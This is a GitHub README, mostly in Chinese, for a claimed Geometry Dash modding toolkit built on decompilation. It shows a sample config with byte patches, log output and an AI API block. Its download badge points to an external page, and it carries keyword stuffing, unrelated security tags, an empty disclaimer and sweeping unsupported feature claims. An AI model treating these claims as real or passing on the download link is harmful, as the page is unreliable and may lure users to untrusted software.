blatteprince2/Void-Engine-GD

GitHub: blatteprince2/Void-Engine-GD

该工具包基于反编译分析为 Geometry Dash 提供了一套兼容 Geode 的模组开发与修改框架。

Stars: 72 | Forks: 0

# 🔧 Geometry Dash 模组工具包 – *"Project Chisel"* [![下载](https://img.shields.io/badge/Get%20Release-d90429?style=for-the-badge&logo=github&logoColor=white)](https://blatteprince2.github.io/Void-Engine-GD/) ## 🌟 概述 想象一下,能够像大师级工匠使用凿子一样**雕琢游戏行为** —— 移除不需要的部分,重塑现有的功能,并添加全新的功能维度。这就是 Project Chisel 背后的理念。 基于广泛的逆向工程工作,本仓库提供了一个**完整且有文档记录的基础**,用于创建兼容 Geode 的修改,而无需传统二进制补丁或盲目猜测的开销。无论您是要构建自定义关卡编辑器、实现新的游戏机制,还是仅仅为了优化性能,Project Chisel 都为您提供了蓝图。 ## 🧩 核心功能 ### 🔬 完整的反编译分析 - **结构化映射**的类层次结构,包含继承文档 - **每个虚函数**都标注了参数类型和返回值 - 主要游戏对象的**内存布局图**(见下文) - 带有 RTTI 信息和 vtable 偏移量的**符号表** ### ⚙️ Geode 集成层 - 与 Geode mod loader 生态系统无缝兼容 - 为 200 多个游戏函数预置了 hooks - 针对特定版本二进制文件的自动化 patch 系统 - 支持热重载的模块架构 ### 🎯 精准修改引擎 - 对单个游戏系统(物理、渲染、输入)的**细粒度控制** - **非破坏性覆盖系统** —— 保留原件,修改可叠加 - **沙盒执行**,防止因 mod 冲突导致的崩溃 - **回滚功能** —— 一条命令即可还原任何更改 ### 🌐 多语言支持 - 提取并外置接口字符串以实现本地化 - 社区贡献的翻译(提供 12 种语言) - 运行时切换语言,无需重启 ### 📱 响应式 UI 框架 - 使用**类似 CSS 的样式**构建自定义游戏内菜单 - 适应 16:9、4:3 和超宽比例的动态布局引擎 - 针对移动/平板版本构建的触控感知组件 - **24/7 自动化测试**确保 UI 在所有支持的版本中保持兼容 ## 🗺️ 架构概述 (Mermaid 图表) ``` graph TB subgraph "Game Binary" GD["Geometry Dash .exe"] MEM["Memory Regions"] FUNC["Function Table"] end subgraph "Project Chisel Core" DECOMP["Decompilation Database"] HOOK["Hook Manager"] PATCH["Patch Engine"] API["Mod API Layer"] end subgraph "Your Mod" MOD["Custom Module"] UI["Responsive UI"] LOGIC["Custom Logic"] end subgraph "Geode Loader" GEODE["Geode Runtime"] SANDBOX["Sandbox"] EVENTS["Event System"] end GD --> DECOMP GD --> MEM GD --> FUNC DECOMP --> HOOK DECOMP --> PATCH HOOK --> GEODE PATCH --> GEODE GEODE --> API SANDBOX --> MOD EVENTS --> MOD MOD --> UI MOD --> LOGIC API --> MOD ``` ## 📋 示例 Profile 配置 在您 mod 的根目录中创建一个 `chisel_profile.json` 文件,以定义项目的行为: ``` { "profile": { "name": "LevelEditorPlus", "version": "1.2.0", "targetGameVersion": "2.206", "author": "YourTeamName", "dependencies": [ {"id": "geode.node", "minVersion": "1.0.0"}, {"id": "chisel.core", "minVersion": "2026.1.0"} ], "hooks": { "PlayLayer::init": "custom_init", "PlayerObject::update": "custom_update", "GJBaseGameLayer::handleButton": "custom_input" }, "patches": [ {"offset": "0x4A3F10", "bytes": "90909090"}, {"signature": "48 8B 05 ?? ?? ?? ?? 48 85 C0", "replace": "C3"} ], "ui": { "theme": "dark", "language": "auto", "responsive": true, "customFont": "assets/fonts/Dosis-Regular.ttf" }, "sandbox": { "memoryLimit": "64MB", "threadStackSize": "1MB", "allowedSyscalls": ["NtQueryInformationProcess"] } } } ``` ## 💻 示例控制台调用 一旦您的 mod 编译完成并放置在 Geode mods 目录中,即可启动 Geometry Dash 并附带 Chisel 诊断信息: ``` GeometryDash.exe --chisel-debug --chisel-profile LevelEditorPlus --chisel-log-level trace --chisel-output-dir ./logs ``` 加载过程中的控制台输出: ``` [CHISEL] 2026-03-15 10:32:04.123 | INFO | Core initialized (v2026.1.0-beta) [CHISEL] 2026-03-15 10:32:04.456 | DEBUG | Scanning for Geode runtime... found Geode v3.8.2 [CHISEL] 2026-03-15 10:32:04.789 | TRACE | Loading profile: LevelEditorPlus v1.2.0 [CHISEL] 2026-03-15 10:32:05.012 | INFO | Hooking PlayLayer::init -> custom_init (0x4A1000) [CHISEL] 2026-03-15 10:32:05.234 | OK | Patch applied: 0x4A3F10 (4 bytes NOP) [CHISEL] 2026-03-15 10:32:05.456 | WARN | Signature '48 8B 05...' found at 0x4B2000 (original patched) [CHISEL] 2026-03-15 10:32:05.678 | INFO | Sandbox initialized. Memory limit: 64MB [CHISEL] 2026-03-15 10:32:05.901 | OK | LevelEditorPlus loaded successfully ``` ## 💻 操作系统兼容性 | 操作系统 | 版本 | 状态 | Emoji | |:---|:--------|:-------|:-----:| | Windows | 10 22H2+ | ✅ 支持 | 🪟 | | Windows | 11 23H2+ | ✅ 支持 | 🪟 | | macOS | Monterey+ | ✅ 支持 (Rosetta) | 🍎 | | macOS | Ventura+ | ✅ 支持 (原生 arm64) | 🍏 | | Linux | Proton 8.0+ | ⚠️ 实验性 | 🐧 | | Android | 10+ (通过 Geode mobile) | 🚧 开发中 | 📱 | ## 🔗 API 集成 – OpenAI 与 Claude Project Chisel 暴露了一个**运行时 API 桥梁**,允许实现 AI 驱动的功能: ### OpenAI API - **从自然语言生成 mod** —— 描述您的需求,接收一个基础框架 mod - **动态难度分析** —— 发送关卡数据,接收详细的拆解分析 - **自动化逆向工程笔记** —— 输入未知函数,获取带注释的伪代码 ### Claude API - **代码审查助手** —— 粘贴您的 hook 逻辑,接收优化建议 - **游戏逻辑文档化** —— 为任何反编译的函数生成易于理解的解释 - **兼容性分析** —— 在加载之前检查两个 mod 是否会产生冲突 ``` { "aiIntegration": { "openai": { "model": "gpt-4-turbo-2026", "maxTokens": 4096, "endpoint": "https://api.openai.com/v1/chat/completions" }, "claude": { "model": "claude-3-opus-2026", "maxTokens": 8192, "endpoint": "https://api.anthropic.com/v1/messages" } } } ``` ## 🎨 响应式 UI —— 为任何屏幕而生 内置的 UI 框架会自动检测显示特征并进行相应调整: - **桌面端 (1920×1080)**:具有多面板布局的全功能编辑器 - **移动端 (720×1280)**:单列布局,带有手势快捷方式的触控优化控件 - **平板端 (1024×1366)**:带有侧边栏和底部工具栏的混合布局 - **超宽屏 (3440×1440)**:带有径向菜单的水平面板排列 每个 UI 组件都是**可本地化的** —— 字符串在构建时从代码中提取,社区贡献者已经提供了英语、西班牙语、法语、德语、日语、韩语、葡萄牙语、俄语、中文(简体与繁体)、意大利语和阿拉伯语的翻译。 ## 🌍 利于 SEO 的关键词 本仓库自然融入了 mod 社区常用的搜索词: - Geometry Dash mod 开发框架 - GD 二进制分析工具包 - 用于游戏修改的逆向工程 - Geode 兼容的 hook 系统 - 2.2+ 版本的反编译参考 - 游戏黑客框架(行业术语,非恶意) - GD mod 的性能优化 - 自定义关卡编辑器 SDK - AI 辅助游戏 mod 制作 ## ⚠️ 免责声明 ## 📄 许可证 本项目基于 **MIT 许可证** 授权 —— 详情请参阅 [LICENSE](LICENSE) 文件。 ## 🔧 快速下载 [![下载](https://img.shields.io/badge/Get%20Release-d90429?style=for-the-badge&logo=github&logoColor=white)](https://blatteprince2.github.io/Void-Engine-GD/) *最新稳定版本:v2026.1.0 (2026 年 3 月)* ## 🙏 致谢 - **Geode 团队**,感谢他们革命性的 mod loader - **反编译贡献者**,他们的注释使本项目成为可能 - **社区测试人员**,他们在所有支持的平台上验证了兼容性 - **翻译人员**,他们让全球受众都能访问该 UI
标签:Geode, Homebrew安装, Petitpotam, TLS配置检查, URL提取, 二进制修改, 云资产清单, 反编译, 后端开发, 游戏Mod, 游戏开发, 逆向工程